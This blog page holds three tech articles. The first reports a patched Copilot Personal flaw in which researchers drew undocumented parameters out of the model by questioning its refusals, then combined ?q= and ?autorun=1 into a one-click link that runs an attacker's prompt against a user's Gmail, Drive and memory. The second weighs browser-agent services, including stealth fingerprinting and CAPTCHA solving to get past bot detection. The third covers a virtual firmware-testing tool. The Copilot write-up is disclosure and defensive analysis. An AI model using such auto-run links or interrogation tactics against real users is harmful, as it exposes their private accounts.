DEV Community: Jason Lee

Microsoft Took Eight Months to Patch a Copilot Bug Its Own AI Had Already Explained

Jason Lee — Fri, 21 Aug 2026 00:14:40 +0000

On December 31, 2025, security researchers at Varonis sent Microsoft a writeup of a bug in Microsoft Copilot that let a single clicked link silently pull data out of a user's connected Gmail, Google Drive, and Copilot's own conversational memory. Microsoft shipped a partial fix five weeks later, on February 1. The complete patch didn't land until August 18, 2026 — almost eight months after the initial report, and only a few days before this article was written.

That gap is worth sitting with, but it isn't the most interesting part of the story. The interesting part is how Varonis found the bug in the first place. They didn't fuzz an API or diff a JavaScript bundle. They opened a chat window with Copilot and asked it, repeatedly, to explain why the attack they were describing was supposedly impossible — and Copilot's refusals kept leaking the architectural details needed to build it anyway.

Varonis calls the technique "meta-hacking," and the resulting vulnerability chain is tracked as CVE-2026-24301, nicknamed CoSnitch.

What actually happened

CoSnitch affects Copilot Personal — the consumer-facing version of Copilot with memory and connected-app access — not Copilot for enterprise customers, who were unaffected throughout. The vulnerability let an attacker craft a URL that, when clicked, caused Copilot to execute an attacker-supplied prompt automatically, with no further interaction from the victim. Because the victim was already authenticated, that prompt ran inside their live session, with access to whatever accounts they'd connected: Gmail, Google Drive, and Copilot's own persistent memory of prior conversations.

Varonis says it found no evidence the bug was exploited before the fix shipped. That's the good news. The bad news, structurally, is that a consumer AI assistant with broad account access turned out to be reachable through nothing more than a link — the oldest attack primitive on the web, pointed at one of the newest attack surfaces.

How the meta-hacking technique actually worked

The mechanics, per Varonis researcher Lior Adar, are almost embarrassingly simple once you see them:

"At the beginning, Copilot kept refusing, but every refusal revealed technical details about its internal architecture. Copilot eventually disclosed undocumented parameters. I took those parameters and used them for prompts for running automatically."

Here's the shape of that conversation. Adar's team suspected Copilot's chat interface accepted URL parameters that could pre-populate or trigger a prompt — a common pattern for "share this conversation" or "deep link into a specific query" features. Instead of black-box testing every parameter combination, they asked Copilot directly: could a URL auto-run a prompt without the user pressing Enter? Copilot, behaving exactly as an assistant should when asked a technical question about itself, explained why that specific concern didn't apply — and in doing so, described the parameter design it was defending. Each "no, because X" answer was itself a specification leak. Reframe the refusal as a follow-up question, extract a bit more of the picture, repeat.

What that process eventually surfaced were two distinct URL parameters, both required together:

?q= — pre-fills Copilot's input box with attacker-supplied text, but still requires the victim to press Enter.
?autorun=1 — the undocumented parameter that skips that step and executes the prefilled prompt on page load, with zero further interaction.

Neither parameter alone was dangerous. ?q= without ?autorun=1 is just a convenience feature — arguably even a reasonable one for deep-linking into a specific query. It's the combination, plus an undocumented flag Microsoft apparently never intended external parties to discover, that turned a UX shortcut into a one-click account takeover primitive. A victim who clicked a booby-trapped link handed an attacker a live, authenticated, tool-using AI agent sitting on top of their Gmail and Drive.

Why "asking the model" is the actual news here

Prompt injection itself isn't new — it's the single most-discussed AI security category of the past two years, and every vendor shipping an agent with tool access has shipped some flavor of mitigation for it. What makes CoSnitch worth a longer look isn't the vulnerability class; it's the reconnaissance method.

Traditional API fuzzing assumes the target is silent — you send inputs and infer behavior from outputs, error codes, timing. Meta-hacking assumes the target talks back, in natural language, with the (reasonable, well-intentioned) goal of being maximally helpful and transparent about how it works. A refusal like "that can't happen because parameter X blocks it" is, from a security-research standpoint, indistinguishable from a spec leak. The model isn't malfunctioning. It's doing exactly what a helpful-and-harmless-tuned assistant is supposed to do: answer questions about itself accurately. That instinct is precisely what got weaponized.

This matters for anyone building on top of a model with system access, tool calls, or connected data — not just Microsoft. If your agent will explain its own guardrails when asked "why can't you do X," you've built a self-documenting attack surface. The fix isn't "make the model lie about its architecture" — that has its own obvious problems — it's recognizing that an assistant's explanations of its own limits are now part of your threat model, the same way verbose error messages or stack traces have been for twenty years of traditional appsec.

What changed versus the pre-agent era

Compare this to a hypothetical 2015-era version of the same underlying flaw: a web app with an undocumented autorun query parameter that skips a confirmation step. That's a real bug, but its blast radius is bounded by whatever that one app can do. CoSnitch's blast radius was bounded by whatever Copilot Personal's connected integrations could reach — which, by design, spans multiple third-party services via OAuth. The vulnerability lived in Microsoft's product, but the exploitable surface was the union of everything the user had connected to it.

That's the structural shift agentic AI products introduce: the attack surface is no longer just "this app's code," it's "this app's code, plus every scope it was granted across every service it's allowed to touch, minus whatever guardrails the model applies at inference time." Guardrails that live in a probabilistic model, reachable via natural-language social engineering of the model itself, are a fundamentally softer perimeter than a hard-coded permission check. CoSnitch is a clean demonstration of that gap, not a one-off implementation bug.

It's also a textbook instance of the "confused deputy" problem that predates AI by decades: a trusted intermediary (Copilot, authenticated as the user) gets tricked into using its own legitimate privileges on an attacker's behalf. What's new is the delivery mechanism. Classic confused-deputy attacks needed a crafted request against an API. This one needed a crafted <a href> — the exact same primitive that's powered email phishing since the 1990s, now aimed at a target with read/write access to a user's inbox, files, and AI-retained conversation history instead of just a session cookie. The web's oldest social-engineering vector turned out to compose just fine with its newest, most privileged client.

Practical takeaways for teams building agents

A few things are directly actionable if you're building or securing a product in this category:

Audit every URL parameter your assistant's web interface accepts, especially anything that can pre-fill or trigger a prompt. If a parameter can move a conversation forward without a positive user action (a click, an Enter key), treat it as an auto-execution primitive and threat-model it accordingly — deep links should require confirmation, not skip it silently.
Don't let "ask the model" be your only defense-in-depth layer. If your agent is asked to justify why an attack path is closed, its answer is potentially disclosing the mechanism of that closure. Consider whether architecture-sensitive questions should get a generic non-technical answer instead of a detailed one, the same way you wouldn't have a web server explain its own WAF rules to an unauthenticated caller.
Scope connected-account access tightly and log deep-link entry points. The actual damage in CoSnitch came from OAuth-connected Gmail, Drive, and memory — not from Copilot's core chat function. Least-privilege scoping and separate audit logging for actions triggered via URL entry (versus in-session typing) would have limited blast radius even if the auto-run flaw existed.
Time-to-patch matters more for agentic products than it used to. A traditional web vulnerability sits there until exploited. An AI assistant vulnerability sits there while the assistant itself is actively used, daily, by people who've granted it standing access to their inbox — the exposure window compounds differently.

What the disclosure leaves unanswered

Varonis's account, and Microsoft's response, both leave real gaps. There's no public accounting for why the fix took from February 1 (the partial patch, addressing auto-execution) to August 18 (the full fix) — over six additional months for what reads, based on the two-parameter combination described, like a contained and well-understood bug by the time the first patch shipped. Microsoft has said no customer action is required and that enterprise customers were never in scope, but hasn't published a detailed root-cause postmortem explaining the delay, which is the piece security teams evaluating vendor trust actually want.

It's also unclear whether ?autorun=1 was the only undocumented parameter of its kind, or whether the same meta-hacking approach — patiently interrogating Copilot's refusals — would surface others. Varonis's report demonstrates a method, not an exhaustive audit. Given that the method requires nothing more than a chat window and persistence, it's reasonable to assume other researchers (and less scrupulous actors) are already running the same play against Copilot and its competitors.

Competitive and industry context

Copilot isn't alone in offering an AI assistant with connected third-party accounts and URL-based entry points — ChatGPT's connectors and Gemini's extensions occupy the same product category: an agent with standing OAuth access to a user's email, files, and calendar, reachable through share links and deep links by design, because that's exactly the convenience feature users ask for. None of that makes CoSnitch a Microsoft-specific failure so much as an early, concrete instance of a risk the entire agentic-assistant category shares. The distinguishing fact here is the disclosure method, not the vulnerability's uniqueness — every vendor in this space that ships a "shareable prompt link" or "deep link into a conversation" feature has the same category of risk to rule out, and few have published a security review of what happens when the assistant itself is used as a reconnaissance tool against its own implementation.

An independent read

The framing in most coverage of CoSnitch — "AI assistant tricked into revealing its own architecture" — undersells what happened. Copilot wasn't tricked in the sense of being fed a jailbreak payload. It was asked ordinary, good-faith-sounding technical questions and it answered them competently and honestly. That's arguably the more uncomfortable finding: the failure mode didn't require adversarial prompting technique at all, just patience and the willingness to treat "why not" as a research question rather than a dead end. Any team currently red-teaming an agent by throwing jailbreak prompt libraries at it should add "ask it nicely to explain its own guardrails" to the checklist, because that's the technique that actually worked here.

The eight-month timeline is the other half of the story worth being skeptical about. Microsoft's messaging — no evidence of in-the-wild exploitation, enterprise unaffected, no customer action needed — is all defensible and probably accurate, but it's also the standard vendor script regardless of how long a fix actually took. A bug that combines "one click," "no user interaction required," and "access to email plus files plus AI memory" sitting partially unpatched for over half a year is a genuinely long window for a vulnerability class this severe, and the absence of a published root-cause explanation for that gap is the part of this disclosure that deserves more scrutiny than it's gotten so far.

Who should act on this

Copilot Personal users don't need to do anything — the fix is deployed, and Microsoft has stated no customer action is required. If you're security-conscious, it's still worth reviewing what your Copilot instance has OAuth access to and pruning anything you don't actively use.

Teams building AI agents with connected-account access or deep-link/URL-triggered prompts should treat this as a direct action item, not background reading: audit your own URL parameter surface for anything resembling autorun-style behavior, and consider whether your agent's own explanations of its guardrails could function as a specification leak under sustained, patient questioning.

Security researchers and red-teamers working on agentic AI products have a new technique worth adding to standard toolkits — meta-hacking is cheap, requires no special tooling beyond a chat window and patience, and this disclosure is a working proof that it finds real, high-severity bugs that conventional testing missed for months. It also composes naturally with existing prompt-injection test suites: instead of only throwing adversarial payloads at a model, spend a session asking it plain questions about its own limits, log every answer, and look for anything that reads like a spec rather than a policy.

Product and platform teams shipping "connect your account" AI features — a category that now includes most major assistants — have a narrower but sharper lesson: any deep-link or share-link feature is a URL-based entry point into an authenticated session by construction, and it deserves the same scrutiny as an OAuth callback endpoint, not the lighter review a "convenience UX feature" typically gets internally.

Everyone else can safely treat this as informative rather than urgent — but it's a useful data point the next time a product pitches "connect your inbox to our AI assistant" as a frictionless convenience feature.

What's your take: does patiently interrogating a model's own refusals count as a security research technique teams should be red-teaming for proactively, or is this closer to a one-off quirk of how Copilot's guardrails happened to be implemented?

Sources:

Your AI Agent Doesn't Need a Better Browser. It Needs Someone Else to Fight Cloudflare For It.

Jason Lee — Thu, 20 Aug 2026 12:06:14 +0000

If you're building anything that touches a real website with an AI agent right now — a research assistant that has to read a paywalled article, a pricing bot that has to check a competitor's checkout flow, an ops agent that has to file a support ticket through a web form nobody built an API for — you've hit the same wall everyone else building agentic browsing hits in 2026: Playwright and Puppeteer will happily open a browser, but the browser you open on a cloud VM looks nothing like the browser a human opens on their laptop, and increasingly the websites you're targeting are built to notice the difference.

That's created a real, live decision point. Four names keep coming up when developers ask "what do I actually run underneath my browsing agent": Browserbase, Steel, Hyperbrowser, and Browser Use. Most comparison posts throw all four into one table and ask which is "best." That's the wrong question, and answering it that way is why so many teams end up paying for the wrong thing or self-hosting the wrong layer. These four products don't all compete for the same job. Two of them are deciding what to click. Two of them are hosting the browser that gets clicked in. Picking the wrong pair to compare costs you either money or months.

The layer confusion, made concrete

Strip away the marketing and there are two separate problems in "give an AI agent a browser":

The reasoning problem — given a screenshot or a DOM snapshot and a goal ("find the cheapest flight," "fill out this intake form"), decide what to click, type, or scroll next. This is an LLM-driven loop.
The infrastructure problem — actually run a Chromium instance somewhere, keep it alive across a multi-step session, make it look enough like a real browser that the site doesn't block it, capture what happened for debugging, and do all of that at whatever concurrency your product needs.

Browser Use is overwhelmingly a solution to problem 1. It's an open-source Python framework — MIT licensed, and its GitHub repo has crossed 100,000 stars — that wires an LLM (OpenAI, Gemini, Claude, or others) to a browser and lets the model decide the next action step by step. It ranks near the top of independent long-horizon web-task leaderboards, reportedly hitting around 87% average success across 200 multi-step tasks on the Odysseys benchmark, and separate benchmark runs have put it near 89% on WebVoyager. That's the reasoning layer doing its job well.

Browserbase, Steel, and Hyperbrowser are, first and foremost, solutions to problem 2. They don't decide what to click — they give you (or your agent framework) a Chromium instance that survives longer, hides better, and is easier to debug than one you'd spin up yourself on a bare VM.

The part that trips people up: these aren't mutually exclusive. Browser Use ships an optional hosted "cloud agent" that bundles its own reasoning loop with managed infrastructure, effectively competing with Browserbase directly at that tier. And Browserbase's first-party automation SDK, Stagehand, is explicitly built to run on top of Browserbase's own infrastructure — the same "AI decides, code executes" pattern Browser Use popularized, just wrapped around Browserbase's session layer instead of a generic Playwright script. So the realistic architectures people ship are compositions: Browser Use's open-source library pointed at Steel's self-hosted containers; Stagehand running on Browserbase-managed sessions; a homegrown agent loop hitting Hyperbrowser's API for the sessions and doing its own reasoning in-house. Comparing "Browser Use vs. Browserbase" as if you pick one is a category error most of the traffic on this topic doesn't correct.

What each one actually is, and how it's built

Browserbase is a managed cloud-browser platform built around Chromium sessions exposed over the Chrome DevTools Protocol, compatible with Playwright, Puppeteer, and Selenium. What differentiates it architecturally is the stealth layer: Browserbase runs a purpose-built Chromium with fingerprints tuned to be recognized by bot-protection vendors — it calls this "Signed Agents," a mechanism aimed at getting agentic traffic acknowledged rather than silently blocked by services like Cloudflare — plus a "Verified" mode in Stagehand that gives a session a checkable identity for sites that gate bot traffic outright. Sessions persist with full replay, so when an agent run fails at 2am you get a video and a DOM trace instead of a stack trace pointing at a blank page. That observability layer, more than the browser itself, is what teams are actually buying.

Steel takes the opposite architectural bet: it's an open-source (Apache 2.0) browser API — steel-dev/steel-browser on GitHub, sitting around 7,500 stars — built on Puppeteer and CDP, and it's designed to be self-hosted as easily as docker run -p 3000:3000 ghcr.io/steel-dev/steel-browser. It gives you session/cookie persistence, proxy-chain management, extension support, request logging, stealth plugins, and built-in page-to-markdown/PDF/screenshot extraction — essentially the same feature list as Browserbase, minus the proprietary anti-bot fingerprint work, plus the option to run it on your own infrastructure or on Railway/Render instead of paying per session.

Hyperbrowser sits closer to Browserbase on the managed-infrastructure side but leans harder into bundling its own hosted agent runtimes on top of raw sessions, plus built-in CAPTCHA solving and stealth-by-default rather than stealth as a higher-tier add-on. It's positioned for teams doing high-volume scraping and crawling workloads where a per-session model with volume discounts matters more than deep session-replay tooling.

Browser Use, again, is a different kind of artifact entirely: a Python library you pip install that wraps an LLM call in a perception-action loop against whatever browser you point it at — your local Chrome, a Steel container, a Browserbase session, or its own hosted cloud agent, which adds proxy rotation, CAPTCHA solving, "1000+ integrations," and persistent memory across runs for teams that don't want to run the open-source loop themselves.

What changed to make this a live decision now

Two years ago, "browser automation for AI" mostly meant a script calling Playwright directly, with maybe a rotating-proxy service bolted on, and a human writing brittle CSS selectors by hand. That approach is quietly breaking down for three reasons developers are running into in 2026.

First, bot-detection has gotten materially better at fingerprinting headless Chromium specifically — TLS handshake ordering, canvas rendering quirks, WebGL fingerprints, and CDP-detectable automation flags are all things major sites now check, which is why "stealth" stopped being a script flag (--disable-blink-features=AutomationControlled and hope) and became a product category with its own pricing tier. A configuration that reliably passed as a real browser eighteen months ago can get silently flagged today because the detection vendor on the other end shipped an update — this is genuinely an arms race, not a one-time integration.

Second, LLM-driven browsing agents changed the traffic pattern. Instead of one scraper hitting the same three pages a million times on a predictable schedule, you now have thousands of short-lived, unpredictable multi-step sessions where the agent doesn't know in advance how many pages it'll visit or how long a task will take. That's a different infrastructure problem — session lifecycle management, mid-run replay for debugging, cost-per-session rather than cost-per-request — than classic scraping infrastructure was built to optimize for, which is a large part of why "browser infrastructure for AI agents" emerged as its own category distinct from older scraping-proxy services.

Third, benchmark culture arrived. WebVoyager, Odysseys, and similar long-horizon web-task leaderboards gave the market a way to argue about agent quality with numbers instead of vibes, which is part of why Browser Use's benchmark placement gets cited as often as its GitHub star count. It also means the reasoning layer and the infrastructure layer now get evaluated on different axes entirely — one on task success rate, the other on uptime, latency, and stealth durability — which is further evidence they're not really the same purchase decision.

Performance numbers, with the caveat they deserve

One comparison of Browserbase, Steel, and Hyperbrowser reported Steel starting new browser sessions in around 894 milliseconds at the median (p95 around 1,090ms), with Steel, Hyperbrowser, and a fourth infra vendor called Kernel completing 100% of test sessions in that run, against roughly 99.96% for Browserbase. Numbers like this are worth having in your head, but treat them the way you'd treat any single-run synthetic benchmark: startup latency and completion rate both depend heavily on which regions you're testing from, what target sites you're hitting, and how the test defines a "completed" session. A 0.04-percentage-point completion gap is close enough to noise that it shouldn't be your deciding factor; what's more informative is that all four infra vendors are now converging on sub-second session starts and 99%+ completion as table stakes, which tells you the differentiation between them has moved to stealth durability and developer experience rather than raw uptime.

Stagehand: where the two layers actually meet

If you want to see the framework/infrastructure split collapse into a single product, look at Stagehand, Browserbase's first-party automation SDK. It plays a similar role to Browser Use — you give it natural-language instructions like "click the login button" or "extract the price," and it uses an LLM to resolve that into concrete Playwright actions — but it's explicitly designed to run against Browserbase's managed sessions rather than being backend-agnostic, and it also works with plain Playwright, Puppeteer, or Selenium if you point it elsewhere. That makes it the cleanest illustration of the point this whole piece is making: Browserbase isn't just selling you a browser, it's selling you a browser plus a reasoning layer that assumes that browser, bundled as one product. Whether that bundling is a convenience or a lock-in depends entirely on whether you'd have picked their infrastructure anyway.

Why this actually matters to you, concretely

Cost model. Browserbase bills browser-hours plus API calls plus model tokens, with published tiers at Free, Developer ($20/month), Startup ($99/month), and a custom Scale tier; its Fetch API is metered separately at roughly $1 per 1,000 calls for raw HTML up to $7 per 1,000 for JSON extraction through proxies. Steel's cloud offering starts free and its self-hosted path can run on a few-euro-a-month VPS if you're willing to operate Docker yourself — reports put long-running self-hosted browser-hours around $0.05–$0.10/hour equivalent, which is a different order of cost at real scale, but you're now on the hook for the ops. Browser Use's hosted cloud agent starts around $30/month; the open-source library itself is free but only as free as the compute and proxies you provide it. None of these numbers are apples-to-apples because they're metering different things — sessions, hours, API calls, tokens — so the actual comparison you need to run is against your own traffic shape, not the sticker price.

Lock-in. This is the sharpest line between Steel and the rest. Because Steel is Apache-2.0 and genuinely self-hostable, you can start on their cloud and move to your own infrastructure later without a rewrite — that's a real hedge against a pricing change or a company being acquired. Browserbase and Hyperbrowser are API-only; there's no "just run it yourself" escape hatch if their pricing moves or your volume outgrows their tier structure. That's a fair trade for their stealth engineering, but it is a trade, not a free lunch.

Security and custody. A managed browser session is, functionally, something that holds your users' or your service accounts' cookies, auth tokens, and sometimes payment flows mid-session. Handing that to a third party is a real attack-surface and compliance decision, not a footnote — if you're automating anything behind a login for a regulated customer, "where do the session credentials live and who can replay that session" deserves the same scrutiny you'd give a secrets manager, and self-hosting (Steel) versus trusting a vendor's isolation guarantees (Browserbase, Hyperbrowser) is a genuinely different risk posture, not just a cost one.

Maintainability. Anti-bot fingerprinting is an arms race, not a solved problem — a stealth configuration that works against a given site's bot-detection today can silently stop working after that site's vendor ships an update, with no error message, just agent runs that quietly start failing. That's the ongoing maintenance tax you're paying a managed vendor to absorb; if you self-host on Steel, that tax comes back to your team, and it's a genuinely different kind of work than most backend teams are staffed for — closer to security-research cat-and-mouse than routine ops.

Concurrency and scaling behavior. This is where the pricing-page numbers get misleading if you don't do the arithmetic for your own workload. A team running ten concurrent agent sessions of a few minutes each looks completely different, cost-wise, than a team running one long-lived session that stays open for hours polling a dashboard. Browserbase and Hyperbrowser both cap concurrent sessions by plan tier, so an agent product that suddenly goes viral can hit a hard concurrency wall before it hits a cost wall — worth load-testing against your actual plan limit, not just the advertised price. Steel's self-hosted path sidesteps the concurrency cap entirely, but replaces it with "how many Chromium instances can this VPS's RAM actually hold," which is its own ceiling you have to model yourself instead of reading off a pricing page.

Migration cost, if you guess wrong. Because Browserbase, Steel, and Hyperbrowser all expose a CDP-compatible endpoint that Playwright, Puppeteer, and Selenium can connect to, swapping the underlying infrastructure vendor is usually a config change — a different wsEndpoint — rather than a rewrite, as long as your code didn't hardcode vendor-specific features like Browserbase's Signed Agents or Hyperbrowser's built-in CAPTCHA solver. The actual switching cost lives in whichever proprietary stealth or convenience feature you leaned on hardest; the more of those you use, the more a later migration looks like a rewrite instead of a config change, which is worth keeping in mind before you build deep integration with any one vendor's exclusive feature.

Practical use cases

Browserbase fits teams shipping a customer-facing agent feature where a failed run needs to be debuggable by a human in minutes — the session replay and observability are the point, and the Scale-tier stealth is worth it against sites that actively fight automation (ticketing sites, e-commerce checkouts, anything behind Cloudflare's more aggressive tiers). It's also the pragmatic default for a small team that doesn't want to own a second infrastructure surface on top of everything else they're already operating.
Steel fits teams with steady, high-volume, cost-sensitive workloads (large-scale scraping, internal tooling, data pipelines) where DevOps capacity exists to run and patch a Docker container, and where vendor lock-in is a board-level concern — think a data platform team that already runs a Kubernetes cluster and would rather add one more container type than add one more SaaS invoice.
Hyperbrowser fits volume scraping/crawling operations that want CAPTCHA-solving and stealth included by default without configuring a separate tier, and are optimizing for throughput over deep debugging tooling — a good fit for a lead-generation or price-monitoring pipeline where individual session failures matter less than aggregate completion rate.
Browser Use fits the reasoning layer of almost any of the above — it's the thing you'd pick to decide what the agent does, whether it's running against your own Chrome instance, a Steel container, or (via its hosted cloud agent) skipping infrastructure decisions entirely for a flat monthly fee. It's also the natural choice for research and prototyping, since you can validate whether an agent can even complete your target task before committing to any infrastructure spend at all.

Team size is a useful proxy here even though none of the vendors frame it that way. A solo developer or small startup validating a product idea is almost always better served starting with Browser Use's free library against a local browser, because the entire point at that stage is learning whether the agent can do the task at all, not optimizing session cost. A mid-size team with a live product and real users tends to land on Browserbase or Hyperbrowser, because the cost of an engineer's time spent debugging a mystery stealth failure usually exceeds the price difference between a managed plan and self-hosting. A platform or data-infrastructure team with existing ops capacity is the group most likely to get genuine, durable savings from Steel's self-hosted path, because they're already paying the ops tax on other systems and the marginal cost of one more container is close to zero.

What the marketing pages don't say

Vendor pricing pages for all three infrastructure providers foreground the free tier and undersell how fast browser-hours and per-call fees compound once an agent is doing multi-step tasks — a single agentic run that reads five pages and retries twice isn't one billing unit, it's several, and that adds up differently than a simple scraper hitting one URL per call. "Stealth" claims across all three vendors are inherently unverifiable from outside: none publish ongoing, third-party-audited success rates against specific bot-detection vendors over time, only point-in-time benchmarks that go stale as detection systems update — treat any specific stealth percentage you read (including the reliability numbers cited above) as a snapshot, not a guarantee. And Browser Use's leaderboard placement, like most agent benchmarks, measures success on a fixed task set chosen by the benchmark's authors; a framework optimized for Odysseys or WebVoyager tasks isn't automatically the best choice for your specific website, especially if it's one with unusual UI patterns the benchmark doesn't cover.

Comparison table

Dimension	Browserbase	Steel	Hyperbrowser	Browser Use
Primary layer	Managed infrastructure	Infrastructure (open source, self-hostable)	Managed infrastructure	Reasoning/agent framework
License / model	Proprietary SaaS	Apache 2.0	Proprietary SaaS	MIT (core library)
Self-hosting	No	Yes (Docker, one command)	No	Yes (it's a local library)
Entry pricing	Free tier; $20/mo Developer; $99/mo Startup	Free tier; self-host from ~€9/mo VPS	Usage-based, volume-oriented	Free (OSS); hosted cloud agent from ~$30/mo
Stealth/anti-bot	Purpose-built Chromium, "Signed Agents," Verified mode (top tier)	Stealth plugins, proxy-chain management, DIY-tunable	Built-in CAPTCHA solving, stealth-by-default	Delegated to whatever browser backend it's pointed at
Session observability	Strong — replay, DOM trace, session UI	Present — request logging, debugging UI	Present, less emphasized	None natively — it's not hosting the session
First-party agent SDK	Stagehand	None (BYO agent)	Hosted agent runtimes	Is the agent framework
Best fit	Debuggable, customer-facing agents against hard-to-scrape sites	Cost-sensitive, high-volume, lock-in-averse teams with ops capacity	High-throughput scraping/crawling	Any team choosing the decision layer, independent of infra vendor

An independent read

None of these four are lying about what they do, but the framing of "which browser tool should I use" obscures that you're very likely choosing two things, not one: a reasoning layer and a hosting layer. Browser Use's open-source pull is real and the star count reflects genuine adoption, but its own hosted cloud agent is a tacit admission that plenty of teams don't want to run infrastructure at all — at which point you're back to comparing it against Browserbase and Hyperbrowser on infrastructure terms, not agent-quality terms.

Steel's Apache license is the most substantive differentiator in this whole category, not a footnote — "you can leave" is worth more than most feature comparisons, especially in a market this young where the infrastructure vendors are venture-funded startups whose pricing and priorities can shift fast as they chase profitability. A team that self-hosts Steel today isn't just saving money; it's opting out of the risk that a vendor's Series B runs out and the pricing model changes overnight, which is a real thing that has happened across the API-infrastructure space more broadly, not a hypothetical.

Browserbase's stealth engineering looks like the most defensible moat in the group, precisely because it's the hardest thing to replicate and the thing self-hosting doesn't solve for you — Steel gives you the tools to build stealth (proxy rotation, fingerprint plugins) but not the ongoing research investment Browserbase is putting into being recognized by bot-detection vendors specifically. That's a genuinely different kind of product even though the feature lists on both marketing pages look similar at a glance.

The one claim worth being skeptical of across all three infrastructure vendors is any specific, unqualified success-rate number for "getting past bot detection" — none of them publish an ongoing, third-party-audited number for this, for the same reason no security vendor publishes a live scorecard of which of their defenses currently work: the moment you publish it, it becomes a target and a stale one within weeks.

Which reader should pick which option

If you're prototyping an agent and don't yet know your traffic shape, start with Browser Use's open-source library against a local or Steel-hosted browser — it's free, it's the fastest path to something working, and it doesn't lock you into an infrastructure bill before you know if the product works. If you're shipping a customer-facing feature against sites that actively fight bots and you need to debug failures without SSHing into a container, Browserbase's replay tooling and stealth tier are worth the higher price. If you're running steady, high-volume internal automation and have the ops capacity to run a container, Steel's self-hosting option will very likely be materially cheaper over a year and removes vendor risk entirely. If your workload is closer to bulk scraping/crawling than interactive agent sessions, Hyperbrowser's throughput-and-CAPTCHA-first positioning fits better than either of the other two managed options. None of these are permanent choices — because Playwright/CDP/Puppeteer compatibility is the norm across all three infra vendors, and Browser Use is backend-agnostic by design, switching later is a config change, not a rewrite, which is exactly why it's worth picking the cheapest reasonable option now rather than over-optimizing this decision up front.

What's your experience been with anti-bot detection breaking agent runs in production — have you found a stealth layer that actually holds up over months rather than weeks, or does every managed vendor's fingerprint eventually get caught by the sites you're targeting?

Sources:

Chiplab Wants Your AI Agent to Test Firmware on Virtual Chips. Today It Only Proves "Hello World" Boots.

Jason Lee — Thu, 20 Aug 2026 09:17:13 +0000

Chiplab Wants Your AI Agent to Test Firmware on Virtual Chips. Today It Only Proves "Hello World" Boots.

If you've done embedded work, you know the two-week tax that sits between "the code compiles" and "the code runs on the actual board." You flash it, you watch a UART log, you get silence, you check the linker script, you re-flash, you wait for a JTAG probe to reconnect, you discover the board you ordered is still in customs. None of that friction shows up when an LLM writes firmware for you — the model will happily hand you a clean, plausible-looking driver for an STM32 peripheral that has never once touched real silicon. It has no way to know if it boots.

Chiplab, a new project from German embedded startup Veecle, tries to close exactly that gap. It's not a new simulator aimed at humans — Renode and QEMU already do that — it's a hosted Model Context Protocol (MCP) server that lets a coding agent like Claude Code, Cursor, VS Code, or Codex compile firmware, upload it, run it on a virtual instance of a real chip, and read back what happened — without a human touching a debugger, and without a board on anyone's desk. It launched on Product Hunt as "test firmware on a virtual chip with no hardware needed," and it's free while in beta.

The pitch is narrow and honest in a way most Product Hunt launches aren't: read the GitHub README closely and it tells you, in its own words, that "today it runs Hello world! on STM32 and Nordic boards; a lot more is on the way." That's the whole current scope. Whether that's an interesting bet or a beta note you should discount depends on what you're trying to do with it — this piece is about figuring out which.

What Chiplab actually is

Chiplab is an MCP server sitting at https://chiplab.veecle.ai/mcp. You don't install a simulator locally and drive it yourself; your AI coding agent connects to Veecle's hosted service, authenticates through a browser sign-in on first use, and gets access to a small set of MCP tools for building, uploading, and running firmware against virtual boards.

The contract is deliberately narrow and framework-agnostic: your agent builds an ELF binary with whatever toolchain it wants, uploads that binary to Chiplab, Chiplab runs it on a virtual instance of the target board for a bounded amount of virtual time, and the agent reads back the UART output the firmware produced. That's the entire loop — build, upload, run, read. There's no persistent session, no interactive stepping through breakpoints, no live memory inspection exposed to the agent beyond what comes out over serial.

Today the supported boards are limited to two silicon families: STMicroelectronics' STM32 line (the repo lists F1, F4, F7, H7, L0, and WBA variants, with the STM32F4-Discovery as the flagship example) and Nordic Semiconductor's nRF52. On the software side it supports bare-metal Rust with vendor HALs, Embassy (async Rust), Zephyr RTOS, FreeRTOS, and Eclipse ThreadX — in C and Rust. A full board-by-framework compatibility matrix lives in the repo's supported-boards.md.

The project is MIT-licensed and public on GitHub, though the actual simulation engine — the part that models chip behavior, memory maps, and peripheral timing — runs server-side and isn't part of what's open source. What's open is the client-side glue: example projects per framework, an AGENTS.md file in each that tells the coding agent exactly how to build and run that framework's examples, and the MCP wiring itself.

Getting an agent to actually use it

The setup is deliberately close to zero-friction. You create a free Veecle account, add a small JSON block to your client's MCP config:

{
  "mcpServers": {
    "chiplab": {
      "type": "http",
      "url": "https://chiplab.veecle.ai/mcp"
    }
  }
}

and then, in Claude Code specifically, you don't even need to hand-write that — cloning the repo drops in a pre-configured .mcp.json and the client just prompts you to trust the server. From there the entire remaining interaction is conversational: you tell the agent something like "set up Chiplab and run the stm32f4-discovery example on it," and it reads the relevant AGENTS.md, installs whatever toolchain the example needs, compiles the ELF, calls the MCP tool to upload and execute it against the virtual board, and reports back what came out of the chip's UART. For Codex users the same server is reachable via a TOML block in ~/.codex/config.toml plus a codex mcp login chiplab step; VS Code takes the same JSON shape under a servers key instead of mcpServers.

What's notable here isn't the plumbing — MCP configs all look roughly like this now — it's that the documentation is written in two parallel tracks per framework: a human-readable README and a separate AGENTS.md clearly meant to be consumed by the coding agent itself, with its own conventions for what the agent should and shouldn't infer. That's a small but telling design choice. Most developer tools that predate the agentic-coding wave bolt MCP support onto documentation written for humans; Chiplab was seemingly designed agent-first from the README down, which tracks with Veecle's stated goal of building "the next way to develop chips."

If you haven't touched MCP yet: it's the protocol Anthropic introduced as a standard way for an LLM-driven agent to discover and call external tools — a database, a filesystem, a SaaS API, or in this case a hardware simulator — without every agent vendor and every tool vendor having to hand-build a bespoke integration. Chiplab is a fairly literal application of that idea to a domain, embedded systems, that has historically been the hardest to give an agent any real feedback loop in, precisely because the ground truth lives in a physical chip.

Why an agent-first interface, specifically

This is the part of the pitch worth taking seriously on its own terms, independent of how mature the current implementation is. Hardware simulators for firmware aren't new — Antmicro's Renode has been doing serious ARM Cortex-M and RISC-V emulation for years, with scripting hooks for automated boot flows and CI integration, and it's used seriously enough that Memfault has written explainers on driving it. QEMU emulates a much broader universe of systems but, per multiple embedded-focused comparisons, has thin and inconsistent Cortex-M coverage — historically limited to a couple of Texas Instruments targets. And Wokwi has made browser-based simulation genuinely pleasant for hobbyists and classrooms, but it's tuned for Arduino, ESP32, and RP2040 boards, and explicitly doesn't claim timing-precise peripheral behavior — you're meant to verify on real hardware before shipping.

